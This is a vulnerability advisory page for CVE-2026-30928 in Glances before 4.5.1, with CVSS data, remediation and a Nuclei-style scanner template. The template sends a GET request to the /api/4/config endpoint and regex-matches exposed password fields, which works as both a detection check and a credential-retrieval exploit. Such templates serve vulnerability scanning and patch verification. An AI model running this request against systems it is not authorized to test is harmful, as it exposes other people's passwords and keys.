CVE-2026-30928: Glances - Information Disclosure

2026-03-25 Glances PoC Public

Description

Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.

PoC

id: CVE-2026-30928

info:
  name: Glances - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.
  impact: |
    Attackers can access sensitive credentials, including passwords and keys, leading to potential full system compromise.
  remediation: |
    Upgrade to version 4.5.1 or later.
  reference:
    - https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-30928
    epss-score: 0.01567
    epss-percentile: 0.74559
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,glances,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/4/config"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"password": "[A-Za-z0-9_@.#&+-;$]*",'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a0046304402202390e73476a217aa7ea8ef77042a4ca20c5187845e6bc9f7e438555e4d76e954022029df5c1e7a161fbb9896a1af757150ea931a84ea01f33a9759542091023a9917:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities